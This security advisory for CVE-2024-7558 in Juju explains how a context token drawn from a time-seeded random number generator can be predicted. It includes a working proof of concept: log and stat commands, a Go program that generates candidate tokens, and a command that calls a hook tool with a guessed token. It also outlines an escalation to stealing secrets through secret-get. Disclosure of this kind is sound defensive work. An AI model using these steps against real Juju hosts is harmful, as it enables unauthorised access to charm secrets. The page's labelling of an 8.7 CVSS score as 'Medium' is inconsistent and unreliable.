CVE-2024-7558

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components:

• the application name
• the unit number
• the hook being currently run
• a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem.
The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.
Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403      	Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d	Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
	"flag"
	"fmt"
	"math/rand"
	"time"
)

func main() {
	var unitName string
	var unitStartLogTime string
	var currentHook string
	flag.StringVar(&unitName, "u", "sleepy/0", "")
	flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
	flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
	flag.Parse()

	t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
	if err != nil {
		panic(err)
	}

	sources := []rand.Source{
		rand.NewSource(t.Unix()),
		rand.NewSource(t.Unix() - 1),
		rand.NewSource(t.Unix() - 2),
	}

	for i := 0; i < 10; i++ {
		for _, source := range sources {
			fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
		}
	}
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

CVE-2024-7558 has a CVSS score of 8.7 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20240826044107-ecd7e2d0e986); upgrading removes the vulnerable code path.

Kodem intelligence

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7
Patched in:

• 3.5.4
• 3.4.6
• 3.3.7
• 3.1.10
• 2.9.51

1. What is CVE-2024-7558? CVE-2024-7558 is a medium-severity security vulnerability in github.com/juju/juju (go), affecting versions < 0.0.0-20240826044107-ecd7e2d0e986. It is fixed in 0.0.0-20240826044107-ecd7e2d0e986.
2. How severe is CVE-2024-7558? CVE-2024-7558 has a CVSS score of 8.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/juju/juju are affected by CVE-2024-7558? github.com/juju/juju (go) versions < 0.0.0-20240826044107-ecd7e2d0e986 is affected.
4. Is there a fix for CVE-2024-7558? Yes. CVE-2024-7558 is fixed in 0.0.0-20240826044107-ecd7e2d0e986. Upgrade to this version or later.
5. Is CVE-2024-7558 exploitable, and should I be worried? Whether CVE-2024-7558 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-7558 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-7558? Upgrade github.com/juju/juju to 0.0.0-20240826044107-ecd7e2d0e986 or later.